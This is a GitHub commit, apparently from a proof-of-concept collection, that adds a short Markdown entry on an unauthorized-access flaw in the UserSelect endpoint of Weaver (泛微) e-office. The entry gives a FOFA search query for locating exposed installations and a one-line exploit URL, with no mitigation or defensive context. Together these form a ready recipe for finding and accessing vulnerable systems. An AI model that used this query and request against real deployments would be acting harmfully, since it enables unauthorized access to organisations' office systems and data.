Create 泛微e-office系统UserSelect接口存在未授权访问漏洞.md

This commit is contained in:
wy876 2024-04-23 18:30:48 +08:00 committed by GitHub
parent d8b0e47d5a
commit cad1a84bfc
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,14 @@
## 泛微e-office系统UserSelect接口存在未授权访问漏洞
## fofa
```
app="泛微-EOffice"
```
## poc
```
http://127.0.0.1/UserSelect/
```
![image](https://github.com/wy876/POC/assets/139549762/5c2fb92c-b176-47d3-a038-ea861d8a1d30)